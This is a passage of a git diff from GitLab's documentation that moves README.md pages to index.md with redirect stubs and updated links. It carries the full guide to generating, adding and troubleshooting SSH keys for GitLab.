+| [Service Data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-service-ping) | Generate and troubleshoot [Service Ping](../development/service_ping/index.md). |
| [User management](user_management.md) | Perform user management tasks. |
| [Webhooks administration](web_hooks.md) | Maintain project webhooks. |
| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, which can be useful if the certificate store changed. |
diff --git a/doc/security/README.md b/doc/security/README.md
index 6af3948fdcf..5ab8653dc35 100644
--- a/doc/security/README.md
+++ b/doc/security/README.md
@@ -1,32 +1,8 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-comments: false
-type: index
+redirect_to: 'index.md'
---
-# Security **(FREE)**
+This document was moved to [another location](index.md).
-- [Password storage](password_storage.md)
-- [Password length limits](password_length_limits.md)
-- [Generated passwords for users created through integrated authentication](passwords_for_integrated_authentication_methods.md)
-- [Restrict SSH key technologies and minimum length](ssh_keys_restrictions.md)
-- [Rate limits](rate_limits.md)
-- [Webhooks and insecure internal web services](webhooks.md)
-- [Information exclusivity](information_exclusivity.md)
-- [Reset user password](reset_user_password.md)
-- [Unlock a locked user](unlock_user.md)
-- [User File Uploads](user_file_uploads.md)
-- [How we manage the CRIME vulnerability](crime_vulnerability.md)
-- [Enforce Two-factor authentication](two_factor_authentication.md)
-- [Send email confirmation on sign-up](user_email_confirmation.md)
-- [Security of running jobs](https://docs.gitlab.com/runner/security/)
-- [Proxying images](asset_proxy.md)
-- [CI/CD variables](../ci/variables/README.md#cicd-variable-security)
-- [Token overview](token_overview.md)
-- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
-
-## Securing your GitLab installation
-
-Consider access control features like [Sign up restrictions](../user/admin_area/settings/sign_up_restrictions.md) and [Authentication options](../topics/authentication/) to harden your GitLab instance and minimize the risk of unwanted user account creation.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/security/cicd_environment_variables.md b/doc/security/cicd_environment_variables.md
deleted file mode 100644
index 49b10af6c1d..00000000000
--- a/doc/security/cicd_environment_variables.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'cicd_variables.md'
-remove_date: '2021-05-15'
----
-
-This document was moved to [another location](cicd_variables.md).
-
-<!-- This redirect file can be deleted after 2021-05-15. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/security/cicd_variables.md b/doc/security/cicd_variables.md
index b429b1435be..06fe0ff4276 100644
--- a/doc/security/cicd_variables.md
+++ b/doc/security/cicd_variables.md
@@ -1,9 +1,9 @@
---
-redirect_to: '../ci/variables/README.md#cicd-variable-security'
+redirect_to: '../ci/variables/index.md#cicd-variable-security'
remove_date: '2021-07-04'
---
-This document was moved to [another location](../ci/variables/README.md#cicd-variable-security).
+This document was moved to [another location](../ci/variables/index.md#cicd-variable-security).
<!-- This redirect file can be deleted after <2021-07-04>. -->
<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/security/index.md b/doc/security/index.md
new file mode 100644
index 00000000000..35e93fc2c55
--- /dev/null
+++ b/doc/security/index.md
@@ -0,0 +1,32 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+comments: false
+type: index
+---
+
+# Security **(FREE)**
+
+- [Password storage](password_storage.md)
+- [Password length limits](password_length_limits.md)
+- [Generated passwords for users created through integrated authentication](passwords_for_integrated_authentication_methods.md)
+- [Restrict SSH key technologies and minimum length](ssh_keys_restrictions.md)
+- [Rate limits](rate_limits.md)
+- [Webhooks and insecure internal web services](webhooks.md)
+- [Information exclusivity](information_exclusivity.md)
+- [Reset user password](reset_user_password.md)
+- [Unlock a locked user](unlock_user.md)
+- [User File Uploads](user_file_uploads.md)
+- [How we manage the CRIME vulnerability](crime_vulnerability.md)
+- [Enforce Two-factor authentication](two_factor_authentication.md)
+- [Send email confirmation on sign-up](user_email_confirmation.md)
+- [Security of running jobs](https://docs.gitlab.com/runner/security/)
+- [Proxying images](asset_proxy.md)
+- [CI/CD variables](../ci/variables/index.md#cicd-variable-security)
+- [Token overview](token_overview.md)
+- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
+
+## Securing your GitLab installation
+
+Consider access control features like [Sign up restrictions](../user/admin_area/settings/sign_up_restrictions.md) and [Authentication options](../topics/authentication/) to harden your GitLab instance and minimize the risk of unwanted user account creation.
diff --git a/doc/security/passwords_for_integrated_authentication_methods.md b/doc/security/passwords_for_integrated_authentication_methods.md
index 7c4ada4435c..9931fd56e83 100644
--- a/doc/security/passwords_for_integrated_authentication_methods.md
+++ b/doc/security/passwords_for_integrated_authentication_methods.md
@@ -7,7 +7,7 @@ type: reference
# Generated passwords for users created through integrated authentication **(FREE)**
-GitLab allows users to set up accounts through integration with external [authentication and authorization providers](../administration/auth/README.md).
+GitLab allows users to set up accounts through integration with external [authentication and authorization providers](../administration/auth/index.md).
These authentication methods do not require the user to explicitly create a password for their accounts.
However, to maintain data consistency, GitLab requires passwords for all user accounts.
diff --git a/doc/security/token_overview.md b/doc/security/token_overview.md
index f9655210329..c00e5bff383 100644
--- a/doc/security/token_overview.md
+++ b/doc/security/token_overview.md
@@ -28,7 +28,7 @@ You can limit the scope and lifetime of your OAuth2 tokens.
## Impersonation tokens
-An [Impersonation token](../api/README.md#impersonation-tokens) is a special type of personal access
+An [Impersonation token](../api/index.md#impersonation-tokens) is a special type of personal access
token. It can be created only by an administrator for a specific user. Impersonation tokens can
help you build applications or scripts that authenticate with the GitLab API, repositories, and the GitLab registry as a specific user.
@@ -71,7 +71,7 @@ You can use the runner registration token to add runners that execute jobs in a
After registration, the runner receives an authentication token, which it uses to authenticate with GitLab when picking up jobs from the job queue. The authentication token is stored locally in the runner's [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) file.
-After authentication with GitLab, the runner receives a [job token](../api/README.md#gitlab-cicd-job-token), which it uses to execute the job.
+After authentication with GitLab, the runner receives a [job token](../api/index.md#gitlab-cicd-job-token), which it uses to execute the job.
In case of Docker Machine/Kubernetes/VirtualBox/Parallels/SSH executors, the execution environment has no access to the runner authentication token, because it stays on the runner machine. They have access to the job token only, which is needed to execute the job.
@@ -79,7 +79,7 @@ Malicious access to a runner's file system may expose the `config.toml` file and
## CI/CD job tokens
-The [CI/CD](../api/README.md#gitlab-cicd-job-token) job token
+The [CI/CD](../api/index.md#gitlab-cicd-job-token) job token
is a short lived token only valid for the duration of a job. It gives a CI/CD job
access to a limited amount of API endpoints.
API authentication uses the job token, by using the authorization of the user
@@ -105,7 +105,7 @@ This table shows available scopes per token. Scopes can be limited further on to
1. Limited to the one project.
1. Runner registration and authentication token don't provide direct access to repositories, but can be used to register and authenticate a new runner that may execute jobs which do have access to the repository
-1. Limited to certain [endpoints](../api/README.md#gitlab-cicd-job-token).
+1. Limited to certain [endpoints](../api/index.md#gitlab-cicd-job-token).
## Security considerations
@@ -113,7 +113,7 @@ Access tokens should be treated like passwords and kept secure.
Adding them to URLs is a security risk. This is especially true when cloning or adding a remote, as Git then writes the URL to its `.git/config` file in plain text. URLs are also generally logged by proxies and application servers, which makes those credentials visible to system administrators.
-Instead, API calls can be passed an access token using headers, like [the `Private-Token` header](../api/README.md#personalproject-access-tokens).
+Instead, API calls can be passed an access token using headers, like [the `Private-Token` header](../api/index.md#personalproject-access-tokens).
Tokens can also be stored using a [Git credential storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage).
diff --git a/doc/ssh/README.md b/doc/ssh/README.md
index 358323e4ef5..5ab8653dc35 100644
--- a/doc/ssh/README.md
+++ b/doc/ssh/README.md
@@ -1,385 +1,8 @@
---
-stage: Manage
-group: Access
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
-type: howto, reference
+redirect_to: 'index.md'
---
-# GitLab and SSH keys
+This document was moved to [another location](index.md).
-Git is a distributed version control system, which means you can work locally,
-then share or "push" your changes to a server. In this case, the server is GitLab.
-
-GitLab uses the SSH protocol to securely communicate with Git.
-When you use SSH keys to authenticate to the GitLab remote server,
-you don't need to supply your username and password each time.
-
-## Prerequisites
-
-To use SSH to communicate with GitLab, you need:
-
-- The OpenSSH client, which comes pre-installed on GNU/Linux, macOS, and Windows 10.
-- SSH version 6.5 or later. Earlier versions used an MD5 signature, which is not secure.
-
-To view the version of SSH installed on your system, run `ssh -V`.
-
-## Supported SSH key types
-
-To communicate with GitLab, you can use the following SSH key types:
-
-- [ED25519](#ed25519-ssh-keys)
-- [RSA](#rsa-ssh-keys)
-- DSA ([Deprecated](https://about.gitlab.com/releases/2018/06/22/gitlab-11-0-released/#support-for-dsa-ssh-keys) in GitLab 11.0.)
-- ECDSA (As noted in [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-ecdsa), the security issues related to DSA also apply to ECDSA.)
-
-Administrators can [restrict which keys are permitted and their minimum lengths](../security/ssh_keys_restrictions.md).
-
-### ED25519 SSH keys
-
-The book [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-chapter-5-digital-signatures)
-suggests that [ED25519](https://ed25519.cr.yp.to/) keys are more secure and performant than RSA keys.
-
-OpenSSH 6.5 introduced ED25519 SSH keys in 2014 and they should be available on most
-operating systems.
-
-### RSA SSH keys
-
-Available documentation suggests that ED25519 is more secure than RSA.
-
-If you use an RSA key, the US National Institute of Science and Technology in
-[Publication 800-57 Part 3 (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)
-recommends a key size of at least 2048 bits. The default key size depends on your version of `ssh-keygen`.
-Review the `man` page for your installed `ssh-keygen` command for details.
-
-## See if you have an existing SSH key pair
-
-Before you create a key pair, see if a key pair already exists.
-
-1. On Windows, Linux, or macOS, go to your home directory.
-1. Go to the `.ssh/` subdirectory. If the `.ssh/` subdirectory doesn't exist,
- you are either not in the home directory, or you haven't used `ssh` before.
- In the latter case, you need to [generate an SSH key pair](#generate-an-ssh-key-pair).
-1. See if a file with one of the following formats exists:
-
- | Algorithm | Public key | Private key |
- | --------- | ---------- | ----------- |
- | ED25519 (preferred) | `id_ed25519.pub` | `id_ed25519` |
- | RSA (at least 2048-bit key size) | `id_rsa.pub` | `id_rsa` |
- | DSA (deprecated) | `id_dsa.pub` | `id_dsa` |
- | ECDSA | `id_ecdsa.pub` | `id_ecdsa` |
-
-## Generate an SSH key pair
-
-If you do not have an existing SSH key pair, generate a new one.
-
-1. Open a terminal.
-1. Type `ssh-keygen -t` followed by the key type and an optional comment.
- This comment is included in the `.pub` file that's created.
- You may want to use an email address for the comment.
-
- For example, for ED25519:
-
- ```shell
- ssh-keygen -t ed25519 -C "<comment>"
- ```
-
- For 2048-bit RSA:
-
- ```shell
- ssh-keygen -t rsa -b 2048 -C "<comment>"
- ```
-
-1. Press Enter. Output similar to the following is displayed:
-
- ```plaintext
- Generating public/private ed25519 key pair.
- Enter file in which to save the key (/home/user/.ssh/id_ed25519):
- ```
-
-1. Accept the suggested filename and directory, unless you are generating a [deploy key](../user/project/deploy_keys/index.md)
- or want to save in a specific directory where you store other keys.
-
- You can also dedicate the SSH key pair to a [specific host](#configure-ssh-to-point-to-a-different-directory).
-
-1. Specify a [passphrase](https://www.ssh.com/ssh/passphrase/):
-
- ```plaintext
- Enter passphrase (empty for no passphrase):
- Enter same passphrase again:
- ```
-
-1. A confirmation is displayed, including information about where your files are stored.
-
-A public and private key are generated.
-[Add the public SSH key to your GitLab account](#add-an-ssh-key-to-your-gitlab-account) and keep
-the private key secure.
-
-### Configure SSH to point to a different directory
-
-If you did not save your SSH key pair in the default directory,
-configure your SSH client to point to the directory where the private key is stored.
-
-1. Open a terminal and run this command:
-
- ```shell
- eval $(ssh-agent -s)
- ssh-add <directory to private SSH key>
- ```
-
-1. Save these settings in the `~/.ssh/config` file. For example:
-
- ```conf
- # GitLab.com
- Host gitlab.com
- PreferredAuthentications publickey
- IdentityFile ~/.ssh/gitlab_com_rsa
-
- # Private GitLab instance
- Host gitlab.company.com
- PreferredAuthentications publickey
- IdentityFile ~/.ssh/example_com_rsa
- ```
-
- For more information on these settings, see the [`man ssh_config`](https://man.openbsd.org/ssh_config) page in the SSH configuration manual.
-
-Public SSH keys must be unique to GitLab because they bind to your account.
-Your SSH key is the only identifier you have when you push code with SSH.
-It must uniquely map to a single user.
-
-### Update your SSH key passphrase
-
-You can update the passphrase for your SSH key.
-
-1. Open a terminal and run this command:
-
- ```shell
- ssh-keygen -p -f /path/to/ssh_key
- ```
-
-1. At the prompts, type the passphrase and press Enter.
-
-### Upgrade your RSA key pair to a more secure format
-
-If your version of OpenSSH is between 6.5 and 7.8,
-you can save your private RSA SSH keys in a more secure
-OpenSSH format.
-
-1. Open a terminal and run this command:
-
- ```shell
- ssh-keygen -o -f ~/.ssh/id_rsa
- ```
-
- Alternatively, you can generate a new RSA key with the more secure encryption format with
- the following command:
-
- ```shell
- ssh-keygen -o -t rsa -b 4096 -C "<comment>"
- ```
-
-## Add an SSH key to your GitLab account
-
-To use SSH with GitLab, copy your public key to your GitLab account.
-
-1. Copy the contents of your public key file. You can do this manually or use a script.
- For example, to copy an ED25519 key to the clipboard:
-
- **macOS:**
-
- ```shell
- tr -d '\n' < ~/.ssh/id_ed25519.pub | pbcopy
- ```
-
- **Linux** (requires the `xclip` package):
-
- ```shell
- xclip -sel clip < ~/.ssh/id_ed25519.pub
- ```
-
- **Git Bash on Windows:**
-
- ```shell
- cat ~/.ssh/id_ed25519.pub | clip
- ```
-
- Replace `id_ed25519.pub` with your filename. For example, use `id_rsa.pub` for RSA.
-
-1. Sign in to GitLab.
-1. In the top right corner, select your avatar.
-1. Select **Preferences**.
-1. From the left sidebar, select **SSH Keys**.
-1. In the **Key** box, paste the contents of your public key.
- If you manually copied the key, make sure you copy the entire key,
- which starts with `ssh-ed25519` or `ssh-rsa`, and may end with a comment.
-1. In the **Title** text box, type a description, like _Work Laptop_ or
- _Home Workstation_.
-1. Optional. In the **Expires at** box, select an expiration date. (Introduced in [GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36243).)
- The expiration date is informational only, and does not prevent you from using
- the key. However, administrators can view expiration dates and
- use them for guidance when [deleting keys](../user/admin_area/credentials_inventory.md#delete-a-users-ssh-key).
- - GitLab checks all SSH keys at 02:00 AM UTC every day. It emails an expiration notice for all SSH keys that expire on the current date. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.)
- - GitLab checks all SSH keys at 01:00 AM UTC every day. It emails an expiration notice for all SSH keys that are scheduled to expire seven days from now. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.)
-1. Select **Add key**.
-
-## Verify that you can connect
-
-Verify that your SSH key was added correctly.
-
-1. For GitLab.com, to ensure you're connecting to the correct server, confirm the
- [SSH host keys fingerprints](../user/gitlab_com/index.md#ssh-host-keys-fingerprints).
-1. Open a terminal and run this command, replacing `gitlab.example.com` with your GitLab instance URL:
-
- ```shell
- ssh -T git@gitlab.example.com
- ```
-
-1. If this is the first time you connect, you should verify the
- authenticity of the GitLab host. If you see a message like:
-
- ```plaintext
- The authenticity of host 'gitlab.example.com (35.231.145.151)' can't be established.
- ECDSA key fingerprint is SHA256:HbW3g8zUjNSksFbqTiUWPWg2Bq1x8xdGUrliXFzSnUw.
- Are you sure you want to continue connecting (yes/no)? yes
- Warning: Permanently added 'gitlab.example.com' (ECDSA) to the list of known hosts.
- ```
-
- Type `yes` and press Enter.
-
-1. Run the `ssh -T git@gitlab.example.com` command again. You should receive a _Welcome to GitLab, `@username`!_ message.
-
-If the welcome message doesn't appear, you can troubleshoot by running `ssh`
-in verbose mode:
-
-```shell
-ssh -Tvvv git@gitlab.example.com
-```
-
-## Use different keys for different repositories
-
-You can use a different key for each repository.
-
-Open a terminal and run this command:
-
-```shell
-git config core.sshCommand "ssh -o IdentitiesOnly=yes -i ~/.ssh/private-key-filename-for-this-repository -F /dev/null"
-```
-
-This command does not use the SSH Agent and requires Git 2.10 or later. For more information
-on `ssh` command options, see the `man` pages for both `ssh` and `ssh_config`.
-
-## Use different accounts on a single GitLab instance
-
-You can use multiple accounts to connect to a single instance of GitLab.
-You can do this by using the command in the [previous topic](#use-different-keys-for-different-repositories).
-However, even if you set `IdentitiesOnly` to `yes`, you cannot sign in if an `IdentityFile` exists
-outside of a `Host` block.
-
-Instead, you can assign aliases to hosts in the `~.ssh/config` file.
-
-- For the `Host`, use an alias like `user_1.gitlab.com` and
- `user_2.gitlab.com`. Advanced configurations
- are more difficult to maintain, and these strings are easier to
- understand when you use tools like `git remote`.
-- For the `IdentityFile`, use the path the private key.
-
-```conf
-# User1 Account Identity
-Host <user_1.gitlab.com>
- Hostname gitlab.com
- PreferredAuthentications publickey
- IdentityFile ~/.ssh/<example_ssh_key1>
-
-# User2 Account Identity
-Host <user_2.gitlab.com>
- Hostname gitlab.com
- PreferredAuthentications publickey
- IdentityFile ~/.ssh/<example_ssh_key2>
-```
-
-Now, to clone a repository for `user_1`, use `user_1.gitlab.com` in the `git clone` command:
-
-```shell
-git clone git@<user_1.gitlab.com>:gitlab-org/gitlab.git
-```
-
-To update a previously-cloned repository that is aliased as `origin`:
-
-```shell
-git remote set-url origin git@<user_1.gitlab.com>:gitlab-org/gitlab.git
-```
-
-NOTE:
-Private and public keys contain sensitive data. Ensure the permissions
-on the files make them readable to you but not accessible to others.
-
-## Configure two-factor authentication (2FA)
-
-You can set up two-factor authentication (2FA) for
-[Git over SSH](../security/two_factor_authentication.md#two-factor-authentication-2fa-for-git-over-ssh-operations).
-
-## Use EGit on Eclipse
-
-If you are using [EGit](https://www.eclipse.org/egit/), you can [add your SSH key to Eclipse](https://wiki.eclipse.org/EGit/User_Guide#Eclipse_SSH_Configuration).
-
-## Use SSH on Microsoft Windows
-
-If you're running Windows 10, you can either use the [Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/windows/wsl/install-win10)
-with [WSL 2](https://docs.microsoft.com/en-us/windows/wsl/install-win10#update-to-wsl-2) which
-has both `git` and `ssh` preinstalled, or install [Git for Windows](https://gitforwindows.org) to
-use SSH through Powershell.
-
-The SSH key generated in WSL is not directly available for Git for Windows, and vice versa,
-as both have a different home directory:
-
-- WSL: `/home/<user>`
-- Git for Windows: `C:\Users\<user>`
-
-You can either copy over the `.ssh/` directory to use the same key, or generate a key in each environment.
-
-Alternative tools include:
-
-- [Cygwin](https://www.cygwin.com)
-- [PuttyGen](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)
-
-## Overriding SSH settings on the GitLab server
-
-GitLab integrates with the system-installed SSH daemon and designates a user
-(typically named `git`) through which all access requests are handled. Users
-who connect to the GitLab server over SSH are identified by their SSH key instead
-of their username.
-
-SSH *client* operations performed on the GitLab server are executed as this
-user. You can modify this SSH configuration. For example, you can specify
-a private SSH key for this user to use for authentication requests. However, this practice
-is **not supported** and is strongly discouraged as it presents significant
-security risks.
-
-GitLab checks for this condition, and directs you
-to this section if your server is configured this way. For example:
-
-```shell
-$ gitlab-rake gitlab:check
-
-Git user has default SSH configuration? ... no
- Try fixing it:
- mkdir ~/gitlab-check-backup-1504540051
- sudo mv /var/lib/git/.ssh/id_rsa ~/gitlab-check-backup-1504540051
- sudo mv /var/lib/git/.ssh/id_rsa.pub ~/gitlab-check-backup-1504540051
- For more information see:
- [Overriding SSH settings on the GitLab server](#overriding-ssh-settings-on-the-gitlab-server)
- Please fix the error above and rerun the checks.
-```
-
-Remove the custom configuration as soon as you can. These customizations
-are **explicitly not supported** and may stop working at any time.
-
-## Troubleshooting SSH connections
-
-When you run `git clone`, you may be prompted for a password, like `git@gitlab.example.com's password:`.
-This indicates that something is wrong with your SSH setup.
-
-- Ensure that you generated your SSH key pair correctly and added the public SSH
- key to your GitLab profile.
-- Try to manually register your private SSH key by using `ssh-agent`.
-- Try to debug the connection by running `ssh -Tv git@example.com`.
- Replace `example.com` with your GitLab URL.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ssh/index.md b/doc/ssh/index.md
new file mode 100644
index 00000000000..fd95a483344
--- /dev/null
+++ b/doc/ssh/index.md
@@ -0,0 +1,385 @@
+---
+stage: Manage
+group: Access
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
+type: howto, reference
+---
+
+# GitLab and SSH keys
+
+Git is a distributed version control system, which means you can work locally,
+then share or "push" your changes to a server. In this case, the server is GitLab.
+
+GitLab uses the SSH protocol to securely communicate with Git.
+When you use SSH keys to authenticate to the GitLab remote server,
+you don't need to supply your username and password each time.
+
+## Prerequisites
+
+To use SSH to communicate with GitLab, you need:
+
+- The OpenSSH client, which comes pre-installed on GNU/Linux, macOS, and Windows 10.
+- SSH version 6.5 or later. Earlier versions used an MD5 signature, which is not secure.
+
+To view the version of SSH installed on your system, run `ssh -V`.
+
+## Supported SSH key types
+
+To communicate with GitLab, you can use the following SSH key types:
+
+- [ED25519](#ed25519-ssh-keys)
+- [RSA](#rsa-ssh-keys)
+- DSA ([Deprecated](https://about.gitlab.com/releases/2018/06/22/gitlab-11-0-released/#support-for-dsa-ssh-keys) in GitLab 11.0.)
+- ECDSA (As noted in [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-ecdsa), the security issues related to DSA also apply to ECDSA.)
+
+Administrators can [restrict which keys are permitted and their minimum lengths](../security/ssh_keys_restrictions.md).
+
+### ED25519 SSH keys
+
+The book [Practical Cryptography With Go](https://leanpub.com/gocrypto/read#leanpub-auto-chapter-5-digital-signatures)
+suggests that [ED25519](https://ed25519.cr.yp.to/) keys are more secure and performant than RSA keys.
+
+OpenSSH 6.5 introduced ED25519 SSH keys in 2014 and they should be available on most
+operating systems.
+
+### RSA SSH keys
+
+Available documentation suggests that ED25519 is more secure than RSA.
+
+If you use an RSA key, the US National Institute of Science and Technology in
+[Publication 800-57 Part 3 (PDF)](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)
+recommends a key size of at least 2048 bits. The default key size depends on your version of `ssh-keygen`.
+Review the `man` page for your installed `ssh-keygen` command for details.
+
+## See if you have an existing SSH key pair
+
+Before you create a key pair, see if a key pair already exists.
+
+1. On Windows, Linux, or macOS, go to your home directory.
+1. Go to the `.ssh/` subdirectory. If the `.ssh/` subdirectory doesn't exist,
+ you are either not in the home directory, or you haven't used `ssh` before.
+ In the latter case, you need to [generate an SSH key pair](#generate-an-ssh-key-pair).
+1. See if a file with one of the following formats exists:
+
+ | Algorithm | Public key | Private key |
+ | --------- | ---------- | ----------- |
+ | ED25519 (preferred) | `id_ed25519.pub` | `id_ed25519` |
+ | RSA (at least 2048-bit key size) | `id_rsa.pub` | `id_rsa` |
+ | DSA (deprecated) | `id_dsa.pub` | `id_dsa` |
+ | ECDSA | `id_ecdsa.pub` | `id_ecdsa` |
+
+## Generate an SSH key pair
+
+If you do not have an existing SSH key pair, generate a new one.
+
+1. Open a terminal.
+1. Type `ssh-keygen -t` followed by the key type and an optional comment.
+ This comment is included in the `.pub` file that's created.
+ You may want to use an email address for the comment.
+
+ For example, for ED25519:
+
+ ```shell
+ ssh-keygen -t ed25519 -C "<comment>"
+ ```
+
+ For 2048-bit RSA:
+
+ ```shell
+ ssh-keygen -t rsa -b 2048 -C "<comment>"
+ ```
+
+1. Press Enter. Output similar to the following is displayed:
+
+ ```plaintext
+ Generating public/private ed25519 key pair.
+ Enter file in which to save the key (/home/user/.ssh/id_ed25519):
+ ```
+
+1. Accept the suggested filename and directory, unless you are generating a [deploy key](../user/project/deploy_keys/index.md)
+ or want to save in a specific directory where you store other keys.
+
+ You can also dedicate the SSH key pair to a [specific host](#configure-ssh-to-point-to-a-different-directory).
+
+1. Specify a [passphrase](https://www.ssh.com/ssh/passphrase):
+
+ ```plaintext
+ Enter passphrase (empty for no passphrase):
+ Enter same passphrase again:
+ ```
+
+1. A confirmation is displayed, including information about where your files are stored.
+
+A public and private key are generated.
+[Add the public SSH key to your GitLab account](#add-an-ssh-key-to-your-gitlab-account) and keep
+the private key secure.
+
+### Configure SSH to point to a different directory
+
+If you did not save your SSH key pair in the default directory,
+configure your SSH client to point to the directory where the private key is stored.
+
+1. Open a terminal and run this command:
+
+ ```shell
+ eval $(ssh-agent -s)
+ ssh-add <directory to private SSH key>
+ ```
+
+1. Save these settings in the `~/.ssh/config` file. For example:
+
+ ```conf
+ # GitLab.com
+ Host gitlab.com
+ PreferredAuthentications publickey
+ IdentityFile ~/.ssh/gitlab_com_rsa
+
+ # Private GitLab instance
+ Host gitlab.company.com
+ PreferredAuthentications publickey
+ IdentityFile ~/.ssh/example_com_rsa
+ ```
+
+ For more information on these settings, see the [`man ssh_config`](https://man.openbsd.org/ssh_config) page in the SSH configuration manual.
+
+Public SSH keys must be unique to GitLab because they bind to your account.
+Your SSH key is the only identifier you have when you push code with SSH.
+It must uniquely map to a single user.
+
+### Update your SSH key passphrase
+
+You can update the passphrase for your SSH key.
+
+1. Open a terminal and run this command:
+
+ ```shell
+ ssh-keygen -p -f /path/to/ssh_key
+ ```
+
+1. At the prompts, type the passphrase and press Enter.
+
+### Upgrade your RSA key pair to a more secure format
+
+If your version of OpenSSH is between 6.5 and 7.8,
+you can save your private RSA SSH keys in a more secure
+OpenSSH format.
+
+1. Open a terminal and run this command:
+
+ ```shell
+ ssh-keygen -o -f ~/.ssh/id_rsa
+ ```
+
+ Alternatively, you can generate a new RSA key with the more secure encryption format with
+ the following command:
+
+ ```shell
+ ssh-keygen -o -t rsa -b 4096 -C "<comment>"
+ ```
+
+## Add an SSH key to your GitLab account
+
+To use SSH with GitLab, copy your public key to your GitLab account.
+
+1. Copy the contents of your public key file. You can do this manually or use a script.
+ For example, to copy an ED25519 key to the clipboard:
+
+ **macOS:**
+
+ ```shell
+ tr -d '\n' < ~/.ssh/id_ed25519.pub | pbcopy
+ ```
+
+ **Linux** (requires the `xclip` package):
+
+ ```shell
+ xclip -sel clip < ~/.ssh/id_ed25519.pub
+ ```
+
+ **Git Bash on Windows:**
+
+ ```shell
+ cat ~/.ssh/id_ed25519.pub | clip
+ ```
+
+ Replace `id_ed25519.pub` with your filename. For example, use `id_rsa.pub` for RSA.
+
+1. Sign in to GitLab.
+1. In the top right corner, select your avatar.
+1. Select **Preferences**.
+1. From the left sidebar, select **SSH Keys**.
+1. In the **Key** box, paste the contents of your public key.
+ If you manually copied the key, make sure you copy the entire key,
+ which starts with `ssh-ed25519` or `ssh-rsa`, and may end with a comment.
+1. In the **Title** text box, type a description, like _Work Laptop_ or
+ _Home Workstation_.
+1. Optional. In the **Expires at** box, select an expiration date. (Introduced in [GitLab 12.9](https://gitlab.com/gitlab-org/gitlab/-/issues/36243).)
+ The expiration date is informational only, and does not prevent you from using
+ the key. However, administrators can view expiration dates and
+ use them for guidance when [deleting keys](../user/admin_area/credentials_inventory.md#delete-a-users-ssh-key).
+ - GitLab checks all SSH keys at 02:00 AM UTC every day. It emails an expiration notice for all SSH keys that expire on the current date. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.)
+ - GitLab checks all SSH keys at 01:00 AM UTC every day. It emails an expiration notice for all SSH keys that are scheduled to expire seven days from now. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.)
+1. Select **Add key**.
+
+## Verify that you can connect
+
+Verify that your SSH key was added correctly.
+
+1. For GitLab.com, to ensure you're connecting to the correct server, confirm the
+ [SSH host keys fingerprints](../user/gitlab_com/index.md#ssh-host-keys-fingerprints).
+1. Open a terminal and run this command, replacing `gitlab.example.com` with your GitLab instance URL:
+
+ ```shell
+ ssh -T git@gitlab.example.com
+ ```
+
+1. If this is the first time you connect, you should verify the
+ authenticity of the GitLab host. If you see a message like:
+
+ ```plaintext
+ The authenticity of host 'gitlab.example.com (35.231.145.151)' can't be established.
+ ECDSA key fingerprint is SHA256:HbW3g8zUjNSksFbqTiUWPWg2Bq1x8xdGUrliXFzSnUw.
+ Are you sure you want to continue connecting (yes/no)? yes
+ Warning: Permanently added 'gitlab.example.com' (ECDSA) to the list of known hosts.
+ ```
+
+ Type `yes` and press Enter.
+
+1. Run the `ssh -T git@gitlab.example.com` command again. You should receive a _Welcome to GitLab, `@username`!_ message.
+
+If the welcome message doesn't appear, you can troubleshoot by running `ssh`
+in verbose mode:
+
+```shell
+ssh -Tvvv git@gitlab.example.com
+```
+
+## Use different keys for different repositories
+
+You can use a different key for each repository.
+
+Open a terminal and run this command:
+
+```shell
+git config core.sshCommand "ssh -o IdentitiesOnly=yes -i ~/.ssh/private-key-filename-for-this-repository -F /dev/null"
+```
+
+This command does not use the SSH Agent and requires Git 2.10 or later. For more information
+on `ssh` command options, see the `man` pages for both `ssh` and `ssh_config`.
+
+## Use different accounts on a single GitLab instance
+
+You can use multiple accounts to connect to a single instance of GitLab.
+You can do this by using the command in the [previous topic](#use-different-keys-for-different-repositories).
+However, even if you set `IdentitiesOnly` to `yes`, you cannot sign in if an `IdentityFile` exists
+outside of a `Host` block.
+
+Instead, you can assign aliases to hosts in the `~.ssh/config` file.
+
+- For the `Host`, use an alias like `user_1.gitlab.com` and
